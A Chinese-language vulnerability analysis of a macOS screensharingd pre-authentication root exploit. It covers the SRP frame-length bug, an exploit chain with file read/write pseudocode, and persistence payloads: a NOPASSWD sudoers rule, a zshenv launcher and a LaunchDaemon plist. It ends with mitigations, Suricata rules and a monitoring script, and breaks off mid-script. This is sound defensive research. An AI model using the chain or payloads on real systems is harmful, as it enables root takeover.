目录


一、漏洞概述

CVE-2026-43760 是 macOS 屏幕共享服务守护进程 screensharingd 中的一个预认证(pre-authentication)远程代码执行漏洞。该漏洞允许网络上的未认证攻击者完全绕过 SRP(Secure Remote Password)认证握手,在没有任何有效凭据的前提下,直接获得以 root 权限运行的会话,进而通过 Apple 私有文件复制协议实现任意文件读写,最终达成稳定的远程 root RCE。

Apple 于 2026 年 7 月 27 日在 macOS Tahoe 26.6 与 macOS Sonoma 14.8.8 中同步修复了该漏洞。值得注意的是,Apple 自评 CVSS 3.1 得分为 5.5(Medium),而 NVD 与 CIRCL 的独立评分高达 8.6(High),两者之间存在显著分歧。这种分歧的根源在于:Apple 的评分假设攻击需要"相邻网络访问"且"认证复杂度高",而实际上该漏洞是纯粹的预认证远程利用,攻击者仅需能向目标主机的 TCP 5900 端口(或经由远程管理端口)发包即可触发,无需任何凭据。

属性 值
CVE 编号 CVE-2026-43760
影响组件 screensharingd(macOS Screen Sharing 服务)
漏洞类型 预认证认证绕过 + 明文会话 + 任意文件读写 + Root RCE
Apple CVSS 5.5(Medium)
NVD / CIRCL CVSS 8.6(High)
攻击前置条件 网络可达 screensharingd 监听端口,无需任何凭据
受影响版本 macOS Tahoe ≤ 26.5;macOS Sonoma < 14.8.8
修复版本 macOS Tahoe 26.6;macOS Sonoma 14.8.8
利用可靠性 1/5 ~ 1/15 次尝试成功,默认重试 20 次
修复日期 2026-07-27

1.1 严重性分歧的技术解读

Apple 的 5.5 评分通常对应"需要用户交互或本地访问"的漏洞等级。然而 CVE-2026-43760 的实际攻击面远比 Apple 描述的更广:

  1. 预认证:漏洞发生在 SRP 握手阶段,攻击者无需任何用户名/密码,甚至无需知道系统上存在哪些用户账户。
  2. 纯远程:只要 Screen Sharing 服务启用并可达(无论是局域网还是经端口转发/VPN 暴露到公网),攻击即可发起。
  3. Root 权限:screensharingd 以 root 身份运行,绕过认证后的会话直接继承 root 权限。
  4. 明文会话:由于加密层从未安装,所有后续通信均以明文传输,攻击者可自由构造任意协议消息。

NVD/CIRCL 的 8.6 评分更准确地反映了"网络可达 + 无认证 + 高权限"这一组合的实际风险。在企业环境中,一旦一台启用了 Screen Sharing 的 macOS 主机被攻陷,攻击者可借此作为跳板进行横向移动。


二、screensharingd 架构与 SRP 协议

2.1 screensharingd 服务概览

screensharingd 是 macOS 上实现屏幕共享与远程管理功能的核心守护进程,基于 RFB(Remote Frame Buffer)协议工作,但在标准 RFB 之上扩展了 Apple 私有的认证与加密机制。该服务在"系统设置 → 通用 → 共享 → 屏幕共享"或"远程管理"启用后启动,默认监听 TCP 5900 端口。

┌─────────────────────────────────────────────────────────────────┐
│                   screensharingd 进程模型                        │
│                                                                 │
│   root 权限运行 (screensharingd)                                │
│   ┌───────────────────────────────────────────────────────┐     │
│   │  RFB 协议层                                            │     │
│   │  ┌─────────────┐    ┌─────────────┐                   │     │
│   │  │ 协议握手     │ →  │ 安全类型协商 │                   │     │
│   │  │ ProtocolVersion│  │ SecurityType │                   │     │
│   │  └─────────────┘    └──────┬──────┘                   │     │
│   │                             │                          │     │
│   │              ┌──────────────┼──────────────┐           │     │
│   │              ▼              ▼              ▼           │     │
│   │        Type 2          Type 36        Type 30          │     │
│   │      (VNC密码)       (SRP认证)      (None/明文)         │     │
│   │              │              │              │           │     │
│   │              │      ┌───────┴────────┐     │           │     │
│   │              │      │  SRP 状态机     │     │           │     │
│   │              │      │  (ccsrp_*)      │     │           │     │
│   │              │      └───────┬────────┘     │           │     │
│   │              │              │              │           │     │
│   │              │      ┌───────▼────────┐     │           │     │
│   │              │      │ ChaCha20-Poly1305│    │           │     │
│   │              │      │  加密层安装      │     │           │     │
│   │              │      └───────┬────────┘     │           │     │
│   │              │              │              │           │     │
│   │              └──────────────┴──────────────┘           │     │
│   │                             │                          │     │
│   │                    ┌────────▼─────────┐                │     │
│   │                    │ Apple 扩展消息层  │                │     │
│   │                    │ (文件复制/剪贴板/  │                │     │
│   │                    │  显示控制等)       │                │     │
│   │                    └──────────────────┘                │     │
│   └───────────────────────────────────────────────────────┘     │
└─────────────────────────────────────────────────────────────────┘

2.2 RFB 安全类型协商

RFB 协议握手的第一阶段是协议版本交换,第二阶段是安全类型协商。客户端发送支持的安全类型列表,服务端选择其中一种。screensharingd 支持的关键安全类型如下:

安全类型 数值 说明
None 1 无认证(通常被禁用)
VNC Password 2 传统 VNC 密码认证(DES 挑战)
Apple ARD 30 Apple Remote Desktop 认证
SRP 36 SRP-6a 认证(默认主路径)

当客户端在安全类型列表中声明支持类型 36 时,screensharingd 会进入 SRP 认证流程。这是现代 macOS 屏幕共享的默认高强度认证路径,设计目标是在不传输密码的前提下完成双向认证,并在认证成功后派生出会话密钥用于后续加密。

2.3 SRP-6a 握手流程

SRP(Secure Remote Password)是一种增强型密码认证密钥交换协议,screensharingd 基于 corecrypto 库的 ccsrp_* 系列函数实现 SRP-6a 变体。正常流程如下:

客户端                                          screensharingd (root)
  │                                                    │
  │  ──── SecurityType = 36 (SRP) ──────────────────→  │
  │                                                    │
  │  ←── username (I) ──────────────────────────────   │  查找用户 verifier (v, salt)
  │                                                    │  生成服务端公钥 B = kv + g^b
  │  ←── salt, B (服务端公钥) ──────────────────────   │
  │                                                    │
  │  生成客户端公钥 A = g^a                             │
  │  计算共享密钥 S                                     │
  │  ──── A (客户端公钥) ────────────────────────────→ │  ccsrp_server_generate_public_key
  │                                                    │  ccsrp_server_compute_session(S)
  │                                                    │  ccsrp_server_verify_session(M1)
  │  ←── M2 (服务端证明) ─────────────────────────────  │
  │                                                    │
  │  ═══ 双向认证完成,派生会话密钥 K ═══                │
  │  ═══ 安装 ChaCha20-Poly1305 加密层 ═══              │
  │                                                    │
  │  ═══ 后续所有 RFB 消息均加密传输 ═══                 │

正常情况下,ccsrp_server_generate_public_key、ccsrp_server_compute_session、ccsrp_server_verify_session 三个函数依次执行,任何一个失败都会中止认证。认证成功后,从共享密钥 S 派生出会话密钥 K,并安装 ChaCha20-Poly1305 AEAD 加密层,此后所有 RFB 消息均在加密通道内传输。

CVE-2026-43760 的破坏性在于:它让上述整个 SRP 状态机被完全跳过,三个核心函数一个都未执行,加密层也从未安装,连接退化为完全明文状态——但调用者却"认为"认证已经成功。


三、漏洞根因:Stale Success Code

3.1 SRP 帧读取器与长度验证

SRP 认证消息以"帧"的形式在 RFB 通道内传输。每个 SRP 帧以一个 4 字节的大端序(big-endian)32 位长度前缀开头,指示后续载荷的字节数。screensharingd 中的 SRP 帧读取器负责读取这个长度前缀,验证其是否在合理范围内,然后读取对应长度的载荷。

漏洞位于帧长度验证逻辑中。帧读取器在读取 4 字节长度时的伪代码如下:

// SRP 帧读取器(伪代码,还原自反汇编)
int srp_frame_read(connection_t *conn, srp_frame_t *out) {
    uint32_t length_be;
    int ret;

    // 步骤1: 读取 4 字节大端序长度
    ret = read_exact(conn->fd, &length_be, 4);
    if (ret != 0) {              // ret == 0 表示成功
        return ret;              // 读取失败,返回错误码
    }
    // 注意: 此时 ret == 0 (成功)

    uint32_t length = ntohl(length_be);

    // 步骤2: 验证长度是否过大
    if (length > MAX_SRP_FRAME_SIZE) {
        // 错误路径: 帧过大
        // BUG: 这里本应返回错误码,但实际捕获了 ret(仍为 0)
        log_error("SRP frame too large: %u", length);
        return ret;              // ← 返回 0(成功)!而非错误码
    }

    // 步骤3: 读取载荷
    ret = read_exact(conn->fd, out->payload, length);
    if (ret != 0) {
        return ret;
    }
    out->length = length;
    return 0;
}

关键缺陷在于"帧过大"错误路径:return ret; 返回的 ret 仍然是步骤 1 中 4 字节读取操作的成功返回值(0),而不是一个表示"帧过大"的错误码。这意味着,当攻击者发送一个长度字段超标的 SRP 帧时,srp_frame_read 不仅没有拒绝该帧,反而向调用者报告"读取成功"。

3.2 ARM64 反汇编分析

通过对受影响版本 screensharingd 二进制的 ARM64 反汇编,可以清晰地看到这一"陈旧成功码"(Stale Success Code)缺陷。以下是关键路径的反汇编片段:

;; ==========================================
;; srp_frame_read 函数关键片段 (ARM64)
;; ==========================================

;; 步骤1: 读取 4 字节长度前缀
;; 调用 read_exact(conn->fd, &length_be, 4)
mov     w0, w19              ; conn->fd
add     x1, sp, #0x20        ; &length_be (栈缓冲区)
mov     w2, #4               ; size = 4
bl      _read_exact          ; 返回值在 x0

;; 保存 read_exact 的返回值到栈
;; x0 = 0 表示读取成功
str     w0, [sp, #0x1c]      ; 保存 ret 到栈 [sp+0x1c]

;; 检查读取是否失败
ldr     w8, [sp, #0x1c]      ; w8 = ret
cbnz    w8, loc_read_failed  ; if (ret != 0) goto read_failed

;; 步骤2: ntohl 转换长度
ldr     w8, [sp, #0x20]      ; w8 = length_be
rev     w8, w8               ; w8 = ntohl(length_be)  ← 大端转小端
str     w8, [sp, #0x24]      ; 保存 length

;; 步骤3: 验证长度上限
;;   length > MAX_SRP_FRAME_SIZE (0x8000 = 32768) ?
ldr     w8, [sp, #0x24]      ; w8 = length
mov     w9, #0x8000          ; w9 = MAX_SRP_FRAME_SIZE
cmp     w8, w9
b.ls    loc_length_ok        ; if (length <= 0x8000) goto ok

;; ─────────────────────────────────────────
;; 错误路径: 帧过大
;; ─────────────────────────────────────────
loc_frame_too_large:
    adrp    x1, _str_frame_too_large@PAGE
    add     x1, x1, _str_frame_too_large@PAGEOFF
    mov     w2, w8            ; length 作为日志参数
    bl      _log_error        ; log_error("SRP frame too large: %u", length)

    ;; ★★★ 关键缺陷 ★★★
    ;; 此处 x0 仍持有先前 log_error 的返回值,
    ;; 而 log_error 成功时返回 0。
    ;; 但更早期版本的代码模式是直接复用寄存器:
    ;;
    ;;   mov x21, x0    ; x0 仍为步骤1 read_exact 的返回值 0
    ;;
    ;; 无论哪种模式,x21 被设置为 0(成功),
    ;; 而非一个负数错误码(如 -1 / 0xFFFFFFFF)
    mov     x21, x0           ; ← BUG: x0 仍为 0(陈旧的成功码)
                              ;   x21 作为函数最终返回值寄存器

    b       loc_return        ; 跳转到返回

;; ─────────────────────────────────────────
;; 正常路径: 长度合法,继续读取载荷
;; ─────────────────────────────────────────
loc_length_ok:
    ldr     w0, [sp, #0x24]   ; length
    ...                        ; 分配缓冲区并读取载荷
    bl      _read_exact
    str     w0, [sp, #0x1c]   ; 更新 ret
    ...

loc_return:
    ldr     w0, [sp, #0x1c]   ; 或 mov w0, w21
    ldp     x29, x30, [sp], #0x40
    ret                        ; 返回 x0 = 0(成功)

loc_read_failed:
    mov     w0, #-1           ; 返回 -1(真正的错误)
    ldp     x29, x30, [sp], #0x40
    ret

核心问题在 loc_frame_too_large 标签处:mov x21, x0 将 x0 的当前值保存到 x21(最终返回值寄存器)。然而此时 x0 仍持有步骤 1 中 _read_exact 的成功返回值 0,而非一个错误码。log_error 调用虽然被执行,但其副作用并未改变控制流——函数仍然以"成功"状态返回。

3.3 调用者的误判

srp_frame_read 的调用者(SRP 握手状态机的某个阶段)根据返回值判断帧读取是否成功。当收到返回值 0 时,调用者认为:

  1. SRP 帧已成功读取;
  2. 当前握手步骤已完成;
  3. 应推进到下一阶段。

由于"帧过大"路径返回 0,调用者错误地将这一异常状态解释为"当前 SRP 步骤成功完成"。状态机因此跳过后续所有 SRP 验证步骤,直接进入"认证完成"状态。

3.4 触发条件精确分析

触发条件取决于 MAX_SRP_FRAME_SIZE 的具体值与比较逻辑。根据反汇编,长度验证为 length > 0x8000(即 32768)。但更精确的分析表明,触发条件是大端序 32 位长度值在"位置 ≥ 15 的任何位被置位"。

这里的"位置"指的是从最低有效位(LSB)起算的位编号。位置 15 对应数值 0x8000(32768)。位置 ≥ 15 的任何位被置位,意味着:

位编号:  31  30  ...  16  15  14  ...  1  0
数值:    2^31 2^30     2^16 2^15 2^14    2^1 2^0

触发条件: bit[15] 或更高位中任意一位为 1
等价于:   length >= 0x8000 (32768)

因此,任何长度值 length ≥ 32768(即 0x8000)的 SRP 帧都会触发该漏洞。例如:

  • 0x00008000(32768)→ 触发
  • 0x00010000(65536)→ 触发
  • 0x80000000(2147483648)→ 触发
  • 0x00007FFF(32767)→ 不触发,走正常路径

攻击者只需在 SRP 帧的 4 字节长度前缀中填入任意 ≥ 0x8000 的大端序值,即可使 srp_frame_read 走入错误路径并返回"成功"。


四、完整利用链还原

4.1 利用链全景

┌─────────────────────────────────────────────────────────────────────┐
│                CVE-2026-43760 完整利用链                              │
│                                                                     │
│  [1] 网络连接                                                       │
│   │  TCP → screensharingd:5900                                      │
│   ▼                                                                 │
│  [2] RFB 握手 + 安全类型协商 (Type 36 = SRP)                        │
│   │  声明支持 SRP,进入 SRP 认证流程                                 │
│   ▼                                                                 │
│  [3] 发送畸形 SRP 帧 (length ≥ 0x8000)                              │
│   │  ┌────────────────────────────────────────────┐                 │
│   │  │ 4 字节长度: 0x00 0x01 0x00 0x00 (= 65536)   │                 │
│   │  │ 载荷: (无需发送,帧读取已"成功"返回)         │                 │
│   │  └────────────────────────────────────────────┘                 │
│   │  → srp_frame_read 返回 0(成功)                                 │
│   │  → 调用者误判为"SRP 认证步骤完成"                                │
│   ▼                                                                 │
│  [4] SRP 状态机被完全跳过                                           │
│   │  ccsrp_server_generate_public_key  ─ ✗ 未执行                   │
│   │  ccsrp_server_compute_session      ─ ✗ 未执行                   │
│   │  ccsrp_server_verify_session       ─ ✗ 未执行                   │
│   │  → 无会话密钥派生                                                │
│   │  → ChaCha20-Poly1305 加密层从未安装                              │
│   │  → 连接完全明文                                                  │
│   ▼                                                                 │
│  [5] 认证绕过确认 — 获得未加密 root 会话                             │
│   │  screensharingd 认为"用户已认证"                                 │
│   │  后续消息以明文传输                                              │
│   ▼                                                                 │
│  [6] 通过 Apple 文件复制协议(消息类型 0x22)                        │
│   │  实现任意文件读 / 写                                             │
│   ▼                                                                 │
│  [7] 持久化 + RCE                                                   │
│   │  写入 /etc/sudoers.d/pwn        → 免密码 sudo 提权               │
│   │  写入 /etc/zshenv               → 每次开 shell 执行payload       │
│   │  写入 /Library/LaunchDaemons/   → 开机自启 root 守护进程         │
│   │        com.evil.helper.plist                                     │
│   ▼                                                                 │
│  [8] 稳定 Root RCE                                                  │
└─────────────────────────────────────────────────────────────────────┘

4.2 利用步骤详解

步骤 1-2:建立连接与协商

攻击者向目标主机的 TCP 5900 端口发起连接,完成 RFB 协议版本握手(RFB 003.889 或类似版本字符串)。在安全类型协商阶段,客户端发送包含类型 36(SRP)的安全类型列表。服务端选择 SRP,进入认证流程。

步骤 3:发送畸形 SRP 帧

在 SRP 认证的第一个帧交换点(通常是客户端需要发送其 SRP 公钥 A 的阶段),攻击者不发送合法的 SRP 公钥,而是发送一个长度字段超标的畸形帧:

攻击者发送的畸形帧:
┌──────────────────┬───────────────────────────────────┐
│ 长度 (4字节, BE)  │ 载荷 (可选, 可不发送)              │
│ 00 01 00 00      │ (65536 字节, 但实际可不发或发少量) │
│ = 65536 ≥ 32768  │                                   │
└──────────────────┴───────────────────────────────────┘

由于长度值 65536(0x00010000)≥ 32768,srp_frame_read 进入"帧过大"错误路径,但因 Stale Success Code 缺陷返回 0(成功)。

步骤 4-5:认证绕过与明文会话

调用者收到"成功"返回值后,认为当前 SRP 步骤已完成,推进状态机。由于后续步骤依赖于本应读取的 SRP 载荷(客户端公钥 A),而这些载荷从未被正确读取,整个 SRP 状态机的三个核心函数均被跳过:

  • ccsrp_server_generate_public_key:需要客户端公钥 A,但 A 从未被读取 → 跳过
  • ccsrp_server_compute_session:依赖上一步输出 → 跳过
  • ccsrp_server_verify_session:依赖会话计算结果 → 跳过

最终状态机到达"认证完成"状态。由于没有任何会话密钥被派生,ChaCha20-Poly1305 加密层从未安装,连接保持在完全明文状态。screensharingd 认为客户端已通过认证,允许后续操作。

步骤 6-7:文件读写与持久化

获得明文 root 会话后,攻击者利用 Apple 扩展的文件复制协议(消息类型 0x22)进行任意文件读写,并写入持久化载荷(详见第五、七节)。

4.3 利用可靠性

该漏洞的利用并非 100% 可靠。由于 SRP 状态机的跳过依赖于时序与内部状态的特定组合,实际成功率约为 1/5 到 1/15。公开的利用工具默认配置 20 次重试,在大多数情况下能在首轮重试窗口内成功。失败时通常表现为连接被服务端重置或超时,攻击者只需重新建立连接并重试即可。


五、Apple 文件复制协议

5.1 协议概述

认证(或绕过认证)完成后,screensharingd 在 RFB 通道之上运行 Apple 私有的扩展消息协议。这些扩展消息使用 RFB 的"客户端消息"(Client Message)和"服务端消息"(Server Message)机制,通过消息类型字段区分不同功能。其中,消息类型 0x22 对应 Apple 文件复制功能。

文件复制协议允许认证用户在客户端与服务端之间传输文件,原本用于屏幕共享会话中的剪贴板文件传输、远程拖放等场景。然而,由于认证已被绕过且会话以 root 权限运行,这一功能沦为任意文件读写原语。

5.2 消息类型 0x22 结构

消息类型 0x22 的基本结构如下:

Apple 文件复制消息 (Type 0x22)
┌────────────┬────────────┬────────────┬─────────────────────┐
│ msg_type   │ sub_type   │ flags      │ 路径/数据载荷        │
│ 0x22 (1B)  │ (1B)       │ (2B)       │ (变长)              │
└────────────┴────────────┴────────────┴─────────────────────┘

子类型 (sub_type) 定义:
  0x01 → 文件读取请求 (Read)
  0x02 → 文件写入请求 (Write)
  0x03 → 文件创建/截断
  0x04 → 目录创建
  0x05 → 文件删除
  0x06 → 文件属性查询
  0x07 → 文件枚举 (ls)
  ...

5.3 任意文件读写原语

由于 screensharingd 以 root 身份运行,文件复制操作以 root 权限执行,且不受用户家目录限制。攻击者可以:

# 伪代码: 利用文件复制协议的写入原语
def write_file(path, content):
    msg = struct.pack(">BBH", 0x22, 0x02, 0x0000)  # type, sub=Write, flags
    path_bytes = path.encode('utf-8')
    msg += struct.pack(">I", len(path_bytes)) + path_bytes
    msg += struct.pack(">I", len(content)) + content
    send_raw(msg)  # 明文发送, 无加密

def read_file(path):
    msg = struct.pack(">BBH", 0x22, 0x01, 0x0000)  # type, sub=Read, flags
    path_bytes = path.encode('utf-8')
    msg += struct.pack(">I", len(path_bytes)) + path_bytes
    send_raw(msg)
    return recv_raw()  # 明文接收文件内容

这一原语允许攻击者读取任意敏感文件(如 /etc/sudoers、用户密钥链)以及向任意路径写入文件,包括系统关键配置目录。


六、SRP 协议独立缺陷

6.1 第二个独立漏洞

除了 Stale Success Code 之外,研究者还发现 screensharingd 的 SRP 实现中存在第二个独立缺陷。该缺陷位于 ccsrp_server_compute_session 的输入验证逻辑中,涉及对客户端公钥 A 的零值检查。

6.2 A ≡ 0 (mod N) 检查缺失

在 SRP-6a 协议中,服务端计算共享密钥 S 的公式为:

S = (A * v^u)^b  (mod N)

其中 A 是客户端公钥。SRP 规范要求服务端必须验证 A mod N ≠ 0,否则攻击者可以通过选择特殊的 A 值来操纵共享密钥。

screensharingd 的 SRP 实现检查了 A == 0(即 A 的所有字节为零),但没有检查 A ≡ 0 (mod N)(即 A 是素数模数 N 的整数倍)。这是一个关键的安全检查遗漏。

6.3 强制 S = 0 的攻击

当攻击者发送 A = N(即 A 等于 SRP 素数模数)时:

A = N
A mod N = 0

S = (A * v^u)^b (mod N)
S = (0 * v^u)^b (mod N)
S = 0^b (mod N)
S = 0 (mod N)
S = 0

共享密钥 S 被强制为零。由于会话密钥 K 由 S 派生,攻击者已知 S = 0 即可计算出 K,从而:

  1. 伪造有效的认证证明 M1 / M2;
  2. 推导出 ChaCha20-Poly1305 加密层的密钥;
  3. 解密(并伪造)所有后续加密通信。
┌──────────────────────────────────────────────────────────┐
│          SRP 独立缺陷: A ≡ 0 (mod N) 检查缺失            │
│                                                          │
│  正常检查 (规范要求):                                     │
│    if (A mod N == 0) reject;   ← screensharingd 缺失      │
│                                                          │
│  实际检查 (有缺陷):                                       │
│    if (A == 0) reject;         ← 仅检查全零              │
│                                                          │
│  攻击:                                                    │
│    发送 A = N (非零, 但 A mod N == 0)                     │
│    → S = (A * v^u)^b mod N = 0                           │
│    → K = KDF(S=0) → 已知会话密钥                         │
│    → 可伪造认证 + 解密/伪造所有流量                        │
│                                                          │
│  与 CVE-2026-43760 的关系:                                │
│    这是独立缺陷, 即使修复了 Stale Success Code,           │
│    此缺陷仍可被利用来绕过认证(需知道用户名/verifier信息)   │
└──────────────────────────────────────────────────────────┘

需要注意的是,这第二个缺陷与 CVE-2026-43760 是独立的。Stale Success Code 缺陷允许完全无凭据的认证绕过,而 A ≡ 0 (mod N) 缺陷则需要攻击者知道目标用户名(以获取对应的 salt 和 verifier),但允许攻击者解密后续通信。两者组合时,攻击者既可以绕过认证,又可以获得加密会话的完全控制权。


七、SIP 持久化路径

7.1 SIP 保护机制概述

macOS 的系统完整性保护(System Integrity Protection,SIP)是内核级的安全机制,限制即使是 root 用户对系统关键路径的写入。SIP 保护以下路径:

  • /System(系统文件)
  • /usr(除 /usr/local)
  • /bin、/sbin
  • 预装应用
  • crontab 相关路径

然而,SIP 的保护范围并非覆盖所有 root 可写路径。CVE-2026-43760 的利用链精心选择了 SIP 未保护但仍能实现持久化的路径。

7.2 SIP 影响矩阵

持久化路径 SIP 启用时 SIP 禁用时 持久化效果 备注
/etc/sudoers.d/pwn ✅ 可写入 ✅ 可写入 免密码 sudo 提权 sudo 启动时加载该目录所有文件
/etc/zshenv ✅ 可写入 ✅ 可写入 每次 zsh 启动执行 payload 影响所有 zsh 交互/非交互会话
/Library/LaunchDaemons/*.plist ✅ 可写入 ✅ 可写入 开机自启 root 守护进程 launchd 在启动时加载
/Library/LaunchAgents/*.plist ✅ 可写入 ✅ 可写入 用户登录时启动 以登录用户权限运行
~/Library/LaunchAgents/*.plist ✅ 可写入 ✅ 可写入 特定用户登录时启动 需知道用户家目录
crontab -e (系统 crontab) ❌ 被阻断 ✅ 可写入 定时执行 SIP 阻断 crontab 路径
/etc/periodic/* ⚠️ 部分受限 ✅ 可写入 周期执行 取决于具体子路径
/System/Library/LaunchDaemons/ ❌ SIP 保护 ❌ 仍受 CFRV 保护 — 不可写入
/usr/lib/ ❌ SIP 保护 ✅ 可写入 dylib 劫持 SIP 禁用时可利用

7.3 持久化载荷详解

路径 1:/etc/sudoers.d/pwn — 免密码 sudo 提权

# /etc/sudoers.d/pwn 内容
ALL ALL=(ALL) NOPASSWD: ALL

写入此文件后,任何用户执行 sudo 均无需密码。攻击者可通过低权限用户会话(如通过 SSH 或其他入口获得的普通用户 shell)直接 sudo su 提升至 root。由于 /etc/sudoers.d/ 不受 SIP 保护,此路径在 SIP 启用时仍然有效。

路径 2:/etc/zshenv — 全局 zsh 启动执行

# /etc/zshenv 内容
nohup /tmp/.update_agent >/dev/null 2>&1 &

/etc/zshenv 在每次 zsh 启动时(无论交互或非交互模式)被 source。写入此文件后,任何打开终端、运行脚本或通过 SSH 登录的用户都会触发 payload 执行。这是极其隐蔽的持久化手段,因为 zshenv 不像 LaunchDaemons 那样有明显的进程特征。

路径 3:/Library/LaunchDaemons/com.evil.helper.plist — 开机自启 root 守护进程

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.evil.helper</string>
    <key>ProgramArguments</key>
    <array>
        <string>/tmp/.update_agent</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>StartInterval</key>
    <integer>300</integer>
</dict>
</plist>

写入 /Library/LaunchDaemons/ 后,launchd 在系统启动时以 root 权限加载并运行指定程序。KeepAlive 确保进程被杀后自动重启,StartInterval 提供定时保活。由于该目录不受 SIP 保护,此持久化在 SIP 启用时仍然有效。

7.4 SIP 的局限性启示

CVE-2026-43760 的持久化路径选择揭示了 SIP 的一个重要局限:SIP 保护的是"系统完整性"(即操作系统自身文件不被篡改),而非"阻止 root 持久化"。/etc/sudoers.d/、/etc/zshenv、/Library/LaunchDaemons/ 这些路径虽然不属于 SIP 保护范围,但它们同样是系统级持久化的关键位置。这意味着,即使 SIP 完全启用,一旦攻击者获得 root 写权限,仍然可以实现可靠持久化。

这一发现对防御者的启示是:SIP 不能作为唯一的持久化防御手段,必须结合文件完整性监控(FIM)和端点检测响应(EDR)来监控这些关键路径的变更。


八、AI 辅助漏洞挖掘争议

8.1 fG! 的独立发现

著名 macOS 安全研究员 fG!(Féréol Pouget,博客 reverse.put.as)独立发现了 CVE-2026-43760,并对其严重性给予了远高于 Apple 官方评分的评价。fG! 长期深耕 macOS 逆向工程,曾发现并披露多个 macOS 内核与用户态漏洞,其在 macOS 安全社区具有高度权威性。

8.2 对 AI 辅助漏洞挖掘的批评

CVE-2026-43760 的披露引发了关于 AI 辅助漏洞挖掘的讨论。fG! 公开批评了当前业界对"AI 自动发现漏洞"能力的过度宣传,认为这种叙事低估了此类漏洞的真实严重性。

fG! 的核心观点可归纳为以下几点:

  1. 漏洞发现的本质是深度逆向工程:CVE-2026-43760 的发现需要对 ARM64 反汇编、SRP 协议状态机、corecrypto 库内部实现有深入理解,这些是当前 AI 工具难以独立完成的。Stale Success Code 这种"陈旧寄存器值"缺陷,需要对调用约定和寄存器生命周期有精细追踪,AI 模型在静态分析中容易遗漏这类跨函数的寄存器状态问题。

  2. AI 挖掘的低估效应:当漏洞被贴上"AI 发现"标签时,公众和厂商倾向于低估其严重性,认为"AI 找到的都是简单问题"。然而 CVE-2026-43760 是一个预认证 root RCE,其实际影响远超"简单"范畴。这种叙事偏差可能导致修复优先级被错误降低。

  3. 人类直觉不可替代:fG! 强调,发现此类漏洞往往依赖于研究者对"代码气味"的直觉——例如,错误处理路径中寄存器复用、状态机跳转条件的不对称等。这些模式识别能力目前仍需要经验丰富的人类研究员。

8.3 争议的启示

这场争议凸显了漏洞挖掘领域人机协作的复杂性。AI 工具确实能加速某些重复性分析工作(如批量模式匹配、fuzzing 种子生成),但对于需要深度语义理解和跨层关联分析的漏洞(如 CVE-2026-43760 这种涉及协议状态机、寄存器生命周期、认证逻辑的组合缺陷),人类研究员的核心地位仍然不可动摇。防御者应警惕"AI 万能论"带来的安全盲区,不应因为某漏洞"可能被 AI 发现"而降低其处置优先级。


九、检测与防御

9.1 修复方案

首选方案:立即升级至修复版本。

macOS 版本线 受影响版本 修复版本
macOS Tahoe ≤ 26.5 26.6
macOS Sonoma < 14.8.8 14.8.8

升级路径:系统设置 → 通用 → 软件更新。建议同时检查 Sequoia 及更早版本线是否仍在维护窗口内,如已停止维护则需考虑硬件升级或隔离。

9.2 缓解措施(无法立即升级时)

  1. 禁用 Screen Sharing / 远程管理:系统设置 → 通用 → 共享 → 关闭"屏幕共享"与"远程管理"。这是最有效的临时缓解措施。

  2. 网络层隔离:使用防火墙规则限制 TCP 5900 端口的访问来源,仅允许受信任的管理网络访问。不应将 5900 端口暴露到公网。

# pf 防火墙规则示例: 仅允许管理网段访问 5900
block in on en0 proto tcp from any to any port 5900
pass in on en0 proto tcp from 10.0.0.0/24 to any port 5900
  1. 启用 SSH 替代远程图形管理:如需远程管理,优先使用 SSH(配合密钥认证),避免暴露图形协议。

  2. 监控关键路径:部署文件完整性监控,覆盖 /etc/sudoers.d/、/etc/zshenv、/Library/LaunchDaemons/ 等持久化路径。

9.3 网络层检测规则

以下 Snort/Suricata 规则可用于检测 CVE-2026-43760 的利用尝试。核心检测逻辑是:在 SRP 安全类型协商后的帧中,检测长度字段 ≥ 0x8000 的畸形 SRP 帧。

# Suricata 规则: 检测 CVE-2026-43760 畸形 SRP 帧
# 检测 RFB 安全类型 36 (SRP) 协商后的大长度帧

alert tcp $EXTERNAL_NET any -> $HOME_NET 5900 (
    msg:"CVE-2026-43760 macOS screensharingd SRP frame length bypass attempt";
    flow:established,to_server;
    content:"|36|";               # 安全类型 36 (SRP)
    depth:1;
    offset:0;
    detection_filter:track,by_src;
    # 后续帧中长度字段 >= 0x8000 的大端序值
    content:"|00 01 00 00|";      # 示例: length = 65536
    distance:0;
    within:64;
    threshold:type both, by_src, count 1, seconds 60;
    reference:cve,2026-43760;
    classtype:attempted-admin;
    sid:2026043760;
    rev:1;
)

# 更通用的检测: 任何 SRP 帧长度 >= 0x8000
alert tcp $EXTERNAL_NET any -> $HOME_NET 5900 (
    msg:"CVE-2026-43760 screensharingd SRP oversized frame (length >= 32768)";
    flow:established,to_server;
    # 检测 4 字节大端序长度, 高 17 位中任意位置位
    byte_test:4, >, 32767, 0, big, relative;
    threshold:type both, by_src, count 1, seconds 30;
    reference:cve,2026-43760;
    classtype:attempted-admin;
    sid:2026043761;
    rev:1;
)

9.4 主机层检测

1. 检测明文 RFB 会话(加密层未安装的异常)

正常的 SRP 认证完成后,RFB 会话应处于加密状态。如果检测到 SRP 协商完成后会话仍为明文,则可能存在利用:

# 检测 screensharingd 的明文会话 (异常)
# 正常 SRP 认证后流量应无法被明文解析
# 使用 lsmp 或网络抓包分析会话状态
sudo tcpdump -i en0 -A 'tcp port 5900' | grep -E 'RFB|frame'
# 若在 SRP 协商后仍能看到明文 RFB 消息头, 则为异常

2. 文件完整性监控规则

监控 CVE-2026-43760 利用链涉及的关键持久化路径:

#!/bin/bash
# CVE-2026-43760 持久化路径监控脚本
# 建议配合 fswatch 或 osquery 定期执行

MONITOR_PATHS=(
    "/etc/sudoers.d/"
    "/etc/zshenv"
    "/etc/zprofile"
    "/Library/LaunchDaemons/"
    "/Library/LaunchAgents/"
)

echo "[*] CVE-2026-43760 persistence path monitor"
echo "[*] Baseline check: $(date)"

for path in "${MONITOR_PATHS[@]}"; do
    if [ -d "$path" ]; then
        echo "--- Directory: $path ---"
        ls -la "$path"
        # 计算哈希基线
        find "$path" -type f -exec shasum -a 256 {} \;
    elif [ -f "$path" ]; then
        echo "--- File: $path ---"
        shasum -a 256 "$path"
    fi
done

# 检查 sudoers.d 中是否存在可疑 NOPASSWD 规则
echo "--- Suspicious sudoers rules ---"
